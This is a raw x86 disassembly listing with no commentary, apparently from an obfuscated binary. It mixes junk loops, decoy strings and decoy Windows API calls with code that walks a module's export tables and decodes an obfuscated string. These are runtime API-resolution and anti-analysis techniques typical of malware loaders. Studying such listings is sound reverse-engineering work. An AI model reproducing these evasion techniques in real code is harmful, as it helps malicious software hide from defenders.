cmp dword [ebp - 0xf4], 0x11e2
jge 0x4122bb
mov eax, dword [ebp - 0x168]
imul eax, dword [ebp - 0xf4]
cdq
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], edx
push dword [ebp - 0x2d8]
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0x4f4]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x4f4]
call fcn.0040289a
jmp 0x412254
jmp 0x412232
mov ecx, 0xaaa16c
call fcn.0042f88d
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xaaa16c
call fcn.0042f891
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x26c], 0x5081
jge 0x4122fa
push dword [ebp - 0x3a0]
call fcn.0049a6ea
pop ecx
jmp 0x412316
or dword [ebp - 4], 0xffffffff
jmp 0x412320
mov dword [ebp - 0x2bc], 0x65dc
mov dword [ebp - 0x324], str.hmlpyfls_gvnfbsfxn_qhhx_ljzcsymni_jdsdz_oekk_gdhdl_uyocdvng_yyns
cmp dword [ebp - 0x2bc], 0x68ac
jle 0x4123b9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
and dword [ebp - 0xfc], 0
jmp 0x412365
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x55d8
jge 0x4123b9
and dword [ebp - 0x40], 0
jmp 0x41237e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x55f8
jge 0x4123b7
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x40]
sar eax, cl
cdq
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], edx
push dword [ebp - 0x2e0]
push dword [ebp - 0x2e4]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x412377
jmp 0x412358
and dword [ebp - 0x30], 0
jmp 0x4123c6
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [eax + 0x18]
jae 0x4126e1
mov dword [ebp - 0x2c4], 0x67ca
mov dword [ebp - 0x318], str.qjw_ulgcgic_dszcgqp_rnnnzlhg_bofgghl_zjda_acoxw
cmp dword [ebp - 0x2c4], 0x6a0d
jle 0x4124ca
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
and dword [ebp - 0x104], 0
jmp 0x412417
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x320b
jge 0x4124ca
and dword [ebp - 0x10c], 0
jmp 0x41243d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x459c
jge 0x4124c5
and dword [ebp - 0x100], 0
jmp 0x41245f
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x41df
jge 0x4124c0
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x100]
shl eax, cl
or eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], edx
push dword [ebp - 0x2ec]
push dword [ebp - 0x2f0]
lea ecx, [ebp - 0x62c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x62c]
call fcn.0040289a
jmp 0x412452
jmp 0x412430
jmp 0x41240a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x274], eax
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x2c4], 0x654f
jge 0x4124fe
push dword [ebp - 0x318]
call fcn.0049a6ea
pop ecx
jmp 0x41251a
or dword [ebp - 4], 0xffffffff
jmp 0x412524
cmp dword [ebp - 0x274], 0
je 0x4126dc
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x4c4]
call fcn.0042f7bd
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x4c4]
call fcn.00405207
mov dword [ebp - 0x27c], eax
movzx eax, byte [0xaaa094]
test eax, eax
je 0x41257c
mov ecx, 0xaaa16c
call fcn.0042f840
movzx eax, al
test eax, eax
jne 0x4126ba
mov dword [ebp - 0x2a4], 0x5df3
mov dword [ebp - 0x3ac], str.tpsaxv_btkl_dgshjvwd_vzcjvio_jayf
cmp dword [ebp - 0x2a4], 0x5e41
jle 0x412658
and dword [ebp - 0x1c0], 0
jmp 0x4125b6
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x2372
jge 0x412658
and dword [ebp - 0x110], 0
jmp 0x4125dc
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x6110
jge 0x412653
and dword [ebp - 0x44], 0
jmp 0x4125f5
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x4b24
jge 0x41264e
mov eax, dword [ebp - 0x1c0]
and eax, dword [ebp - 0x110]
xor eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], edx
push dword [ebp - 0x2f8]
push dword [ebp - 0x2fc]
lea ecx, [ebp - 0x5cc]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x5cc]
call fcn.0040289a
jmp 0x4125ee
jmp 0x4125cf
jmp 0x4125a9
lea eax, [ebp - 0x27c]
push eax
mov ecx, 0xaaa16c
call fcn.0042f84f
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x2a4], 0x5c8e
jge 0x41268d
push dword [ebp - 0x3ac]
call fcn.0049a6ea
pop ecx
jmp 0x4126a9
or dword [ebp - 4], 0xffffffff
jmp 0x4126b3
mov byte [0xaaa094], 1
cmp dword [ebp - 0x38], 0xffffffff
jne 0x4126d1
mov eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0x48]
jne 0x4126d1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x4c4]
call fcn.00402a51
jmp 0x4123bf
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x2bc], 0x6393
jge 0x412704
mov edx, dword [ebp - 0x324]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x412720
or dword [ebp - 4], 0xffffffff
jmp 0x41272a
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x284], 0x155e
jge 0x41274d
mov edx, dword [ebp - 0x3b8]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x412769
or dword [ebp - 4], 0xffffffff
jmp 0x412773
mov dword [ebp - 0x23c], 0x907
mov dword [ebp - 0x330], str.zjb_die_wefwrign_vxyrw_iqzuzjwab
cmp dword [ebp - 0x23c], 0xbe4
jle 0x41285b
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
and dword [ebp - 0x68], 0
jmp 0x4127ac
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x3a01
jge 0x41285b
and dword [ebp - 0x50], 0
jmp 0x4127c6
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x7d5c
jge 0x412856
and dword [ebp - 0x58], 0
jmp 0x4127e0
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x62ba
jge 0x412851
and dword [ebp - 0x60], 0
jmp 0x4127f6
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x3001
jge 0x41284f
mov eax, dword [ebp - 0x50]
cdq
idiv dword [ebp - 0x58]
sub edx, dword [ebp - 0x60]
xor edx, dword [ebp - 0x68]
mov eax, edx
cdq
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], edx
push dword [ebp - 0x304]
push dword [ebp - 0x308]
lea ecx, [ebp - 0x50c]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x50c]
call fcn.0040289a
jmp 0x4127ef
jmp 0x4127d9
jmp 0x4127bf
jmp 0x4127a5
cmp dword [ebp + 0x10], 0
jne 0x41287b
cmp dword [ebp - 0x38], 0xffffffff
je 0x41287b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x38]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x23c], 0x5d0
jge 0x41289a
push dword [ebp - 0x330]
call fcn.0049a6ea
pop ecx
jmp 0x4128b6
or dword [ebp - 4], 0xffffffff
jmp 0x4128c0
movzx eax, word [ebp - 0x1c]
cmp eax, 0xffff
je 0x413a87
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x1c]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x240], 0x7520
mov dword [ebp - 0x33c], str.dieq_iqyxlzn_qnnq_ciw_jbgqgma
cmp dword [ebp - 0x240], 0x7828
jle 0x412982
and dword [ebp - 0x80], 0
jmp 0x412912
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x4e82
jge 0x41297a
and dword [ebp - 0x70], 0
jmp 0x412928
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x70a4
jge 0x412978
and dword [ebp - 0x78], 0
jmp 0x41293e
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x7caf
jge 0x412976
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x80]
cdq
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], edx
push dword [ebp - 0x310]
push dword [ebp - 0x314]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x412937
jmp 0x412921
jmp 0x41290b
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x240], 0x72ae
jge 0x4129b3
mov edx, dword [ebp - 0x33c]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x4129cf
or dword [ebp - 4], 0xffffffff
jmp 0x4129d9
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jbe 0x413948
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x24], edx
jae 0x413948
mov eax, dword [0xaaa1e0]
and eax, 2
jne 0x412a25
mov eax, dword [0xaaa1e0]
or eax, 2
mov dword [0xaaa1e0], eax
push 0x46f6
call fcn.00401a0b
pop ecx
mov byte [0xaaa160], al
mov dword [ebp - 0x248], 0x5516
mov dword [ebp - 0x3d0], str.lzwpyeku_ajlzupqbt_osfogif_eyxolyj_itzpde_aam
cmp dword [ebp - 0x248], 0x5716
jle 0x412adf
and dword [ebp - 0x88], 0
jmp 0x412a5f
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x7910
jge 0x412adf
and dword [ebp - 0x90], 0
jmp 0x412a81
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x7925
jge 0x412ada
mov eax, dword [ebp - 0x88]
xor eax, dword [ebp - 0x90]
cdq
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], edx
push dword [ebp - 0x31c]
push dword [ebp - 0x320]
lea ecx, [ebp - 0x524]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x524]
call fcn.0040289a
jmp 0x412a74
jmp 0x412a52
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x248], 0x5244
jge 0x412afe
push dword [ebp - 0x3d0]
call fcn.0049a6ea
pop ecx
jmp 0x412b1a
or dword [ebp - 4], 0xffffffff
jmp 0x412b24
mov byte [ebp - 0x1e4], 2
mov byte [ebp - 0x1e3], 0x6d
mov byte [ebp - 0x1e2], 0
mov byte [ebp - 0x1e1], 0x67
mov byte [ebp - 0x1e0], 1
mov byte [ebp - 0x1df], 0x71
mov byte [ebp - 0x1de], 0xf
mov byte [ebp - 0x1dd], 0x34
mov byte [ebp - 0x1dc], 0xa5
mov byte [ebp - 0x1db], 0xf7
mov byte [ebp - 0x1da], 0xbe
mov byte [ebp - 0x1d9], 0x23
mov byte [ebp - 0x1d8], 0xfc
mov byte [ebp - 0x1d7], 0xc4
mov byte [ebp - 0x1d6], 0x20
mov byte [ebp - 0x1d5], 0xdf
mov byte [ebp - 0x1d4], 0x59
mov byte [ebp - 0x1d3], 0x3a
mov byte [ebp - 0x1d2], 0x5d
mov byte [ebp - 0x1d1], 0x8e
mov byte [ebp - 0x1d0], 0x5b
and dword [ebp - 0x20], 0
and dword [ebp - 0x258], 0
jmp 0x412bcc
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x15
jae 0x412f98
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x412d81
mov dword [ebp - 0x250], 0x5d28
mov dword [ebp - 0x348], str.tmsaayd_pduwxglo_nnnkj_msqb
cmp dword [ebp - 0x250], 0x5dfc
jle 0x412d24
and dword [ebp - 0x98], 0
jmp 0x412c2b
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x1eb3
jge 0x412d15
and dword [ebp - 0xa0], 0
jmp 0x412c51
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x16aa
jge 0x412d10
and dword [ebp - 0xa8], 0
jmp 0x412c77
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x55f1
jge 0x412d0b
and dword [ebp - 0xb0], 0
jmp 0x412c9d
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x190c
jge 0x412d06
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xa0]
sar eax, cl
mov ecx, dword [ebp - 0xa8]
sub ecx, dword [ebp - 0xb0]
or eax, ecx
cdq
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], edx
push dword [ebp - 0x328]
push dword [ebp - 0x32c]
lea ecx, [ebp - 0x554]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x554]
call fcn.0040289a
jmp 0x412c90
jmp 0x412c6a
jmp 0x412c44
jmp 0x412c1e
push 0
push 0
push 0x13f1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [ebp - 0x258], 0xf
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x250], 0x5cda
jge 0x412d4d
push dword [ebp - 0x348]
call fcn.0049a6ea
pop ecx
jmp 0x412d69
or dword [ebp - 4], 0xffffffff
jmp 0x412d73
mov eax, dword [ebp - 0x20]
add eax, 0xd
mov dword [ebp - 0x20], eax
jmp 0x412bc4
mov dword [ebp - 0x260], 0x3df7
mov dword [ebp - 0x3dc], str.sbpry_jntw_tydwbv_eawvbidw_amoafefv_ehjvbx_rpsw_mfqn_islsvom_avlvtkcx_wwpwfi_bzmmiw_ghirwwt
cmp dword [ebp - 0x260], 0x3f5f
jle 0x412e18
and dword [ebp - 0xb8], 0
jmp 0x412db7
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x70b6
jge 0x412e18
and dword [ebp - 0xc0], 0
jmp 0x412dd9
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x963
jge 0x412e16
mov eax, dword [ebp - 0xb8]
xor eax, dword [ebp - 0xc0]
cdq
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], edx
push dword [ebp - 0x334]
push dword [ebp - 0x338]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x412dcc
jmp 0x412daa
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1e3]
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x258]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x260], 0x3d50
jge 0x412e59
mov edx, dword [ebp - 0x3dc]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x412e75
or dword [ebp - 4], 0xffffffff
jmp 0x412e7f
mov dword [ebp - 0x268], 0x2703
mov dword [ebp - 0x354], str.izuyduqgj_yyfxcl_byikofb_jceb_qfxdiksci_fcmbqv_pnwcjvtj_bxilc_knihp_ipitsxk_bmzzj_eeoqa_izs
cmp dword [ebp - 0x268], 0x2940
jle 0x412f16
and dword [ebp - 0xc8], 0
jmp 0x412eb5
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x5984
jge 0x412f16
and dword [ebp - 0xd0], 0
jmp 0x412ed7
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x7bc5
jge 0x412f14
mov eax, dword [ebp - 0xc8]
xor eax, dword [ebp - 0xd0]
cdq
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x340], edx
push dword [ebp - 0x340]
push dword [ebp - 0x344]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x412eca
jmp 0x412ea8
cmp dword [ebp - 0xd8], 0
jge 0x412f32
mov eax, dword [ebp - 0xd8]
add eax, 0x100
mov dword [ebp - 0xd8], eax
jmp 0x412f16
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x268], 0x255f
jge 0x412f55
mov edx, dword [ebp - 0x354]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x412f71
or dword [ebp - 4], 0xffffffff
jmp 0x412f7b
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1e4]
mov cl, byte [ebp - 0xd8]
mov byte [ebp + eax - 0x234], cl
jmp 0x412bc4
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x234], 0
mov eax, dword [0xaaa1e0]
and eax, 4
jne 0x412fd9
mov eax, dword [0xaaa1e0]
or eax, 4
mov dword [0xaaa1e0], eax
lea eax, [ebp - 0x234]
push eax
mov ecx, 0xaaa148
call fcn.0042f7bd
push 0x4b061a
call fcn.0049a41f
pop ecx
mov dword [ebp - 0x270], 0x43fd
mov dword [ebp - 0x3e8], str.aflerfn_ldbgqm_qluzp_rvzcfqljp_ivr_vmyghms
cmp dword [ebp - 0x270], 0x45f0
jle 0x4130d7
and dword [ebp - 0xe0], 0
jmp 0x413013
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x32b1
jge 0x4130d7
and dword [ebp - 0xe8], 0
jmp 0x413039
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x1fd
jge 0x4130d2
and dword [ebp - 0xf0], 0
jmp 0x41305f
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x5dd1
jge 0x4130cd
and dword [ebp - 0xf8], 0
jmp 0x413081
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x649e
jge 0x4130cb
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0xe8]
sub eax, dword [ebp - 0xf0]
and eax, dword [ebp - 0xf8]
cdq
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], edx
push dword [ebp - 0x34c]
push dword [ebp - 0x350]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x413074
jmp 0x413052
jmp 0x41302c
jmp 0x413006
and dword [ebp - 0x114], 0
jmp 0x4130ed
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 4
jae 0x413106
mov eax, dword [ebp - 0x114]
mov byte [ebp + eax - 0x234], 0
jmp 0x4130e0
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x270], 0x42d8
jge 0x413129
mov edx, dword [ebp - 0x3e8]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x413145
or dword [ebp - 4], 0xffffffff
jmp 0x41314f
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movsx eax, byte [eax]
movsx ecx, byte [0xaaa160]
cmp eax, ecx
je 0x41316f
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jmp 0x413155
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x494]
call fcn.00431168
mov dword [ebp - 0x278], 0x1bab
mov dword [ebp - 0x360], str.gtmxe_vis_psrsppi_zslk
cmp dword [ebp - 0x278], 0x1e8c
jle 0x413273
and dword [ebp - 0x11c], 0
jmp 0x4131c1
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x7ff4
jge 0x413273
and dword [ebp - 0x124], 0
jmp 0x4131e7
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x1368
jge 0x41326e
and dword [ebp - 0x12c], 0
jmp 0x413209
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x3292
jge 0x413269
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x124]
and eax, dword [ebp - 0x12c]
cdq
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x358], edx
push dword [ebp - 0x358]
push dword [ebp - 0x35c]
lea ecx, [ebp - 0x584]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x584]
call fcn.0040289a
jmp 0x4131fc
jmp 0x4131da
jmp 0x4131b4
push 0xaaa148
lea ecx, [ebp - 0x494]
call fcn.0042f7ec
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x278], 0x1835
jge 0x4132a2
push dword [ebp - 0x360]
call fcn.0049a6ea
pop ecx
jmp 0x4132be
or dword [ebp - 4], 0xffffffff
jmp 0x4132c8
mov dword [ebp - 0x280], 0x8bc
mov dword [ebp - 0x3f0], str.crqerbd_rbcocnub_uuuadrnb_kaw
cmp dword [ebp - 0x280], 0xa1f
jle 0x4133b5
and dword [ebp - 0x134], 0
jmp 0x413302
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x3233
jge 0x413395
and dword [ebp - 0x13c], 0
jmp 0x413328
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x62c1
jge 0x413390
and dword [ebp - 0x144], 0
jmp 0x41334a
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x57e7
jge 0x41338e
mov eax, dword [ebp - 0x134]
imul eax, dword [ebp - 0x13c]
xor eax, dword [ebp - 0x144]
cdq
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], edx
push dword [ebp - 0x364]
push dword [ebp - 0x368]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x41333d
jmp 0x41331b
jmp 0x4132f5
push 0
push 0x91c
push 0x1eb6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x494]
call fcn.00403179
push dword [eax]
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x494]
call fcn.00403165
push dword [eax]
lea ecx, [ebp - 0x4dc]
call fcn.00431191
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x280], 0x5d3
jge 0x41340b
mov edx, dword [ebp - 0x3f0]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x413427
or dword [ebp - 4], 0xffffffff
jmp 0x413431
lea eax, [ebp - 0x4dc]
push eax
call fcn.00406485
pop ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x2a8], 0x7436
mov dword [ebp - 0x384], str.rgrqz_fwt_wpbbooyrs_xrwy_nwyiif_lhoo_bcpnttg_ivqamter
cmp dword [ebp - 0x2a8], 0x7565
jle 0x413510
and dword [ebp - 0x15c], 0
jmp 0x41347e
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x20b3
jge 0x413510
and dword [ebp - 0x14c], 0
jmp 0x4134a4
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x3c1b
jge 0x41350b
and dword [ebp - 0x154], 0
jmp 0x4134c6
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x1391
jge 0x413509
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x154]
or eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x370], edx
push dword [ebp - 0x370]
push dword [ebp - 0x374]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x4134b9
jmp 0x413497
jmp 0x413471
cmp dword [ebp - 0x230], 0
je 0x4137a3
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4ac]
call fcn.0042f7bd
mov dword [ebp - 0x288], 0x7ec3
mov dword [ebp - 0x36c], str.rkqvznmdj_cugsdlu_tdkkau_wfketi_dfma_ezy_koxjafe_redmynam_cyhwlu_jux_jwkeml
cmp dword [ebp - 0x288], 0x8216
jle 0x413619
and dword [ebp - 0x174], 0
jmp 0x413565
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x7094
jge 0x413619
and dword [ebp - 0x164], 0
jmp 0x41358b
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x7dd4
jge 0x413614
and dword [ebp - 0x16c], 0
jmp 0x4135ad
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x6bd7
jge 0x41360f
mov eax, dword [ebp - 0x164]
cdq
idiv dword [ebp - 0x16c]
and edx, dword [ebp - 0x174]
mov eax, edx
cdq
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], edx
push dword [ebp - 0x37c]
push dword [ebp - 0x380]
lea ecx, [ebp - 0x5b4]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x5b4]
call fcn.0040289a
jmp 0x4135a0
jmp 0x41357e
jmp 0x413558
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x288], 0x7c33
jge 0x413638
push dword [ebp - 0x36c]
call fcn.0049a6ea
pop ecx
jmp 0x413654
or dword [ebp - 4], 0xffffffff
jmp 0x41365e
lea edx, [ebp - 0x3f8]
lea ecx, [ebp - 0x4ac]
call fcn.00406161
movzx eax, al
test eax, eax
je 0x413777
mov dword [ebp - 0x290], 0x4464
mov dword [ebp - 0x378], str.wverciv_wqhwak_whyqxtwx_vywtjijk_ttmzhvj_iloxfk_tyrymaklv_durp_vtajzi_riobtgspo
cmp dword [ebp - 0x290], 0x47da
jle 0x413711
and dword [ebp - 0x17c], 0
jmp 0x4136b0
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x6938
jge 0x413711
and dword [ebp - 0x184], 0
jmp 0x4136d2
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
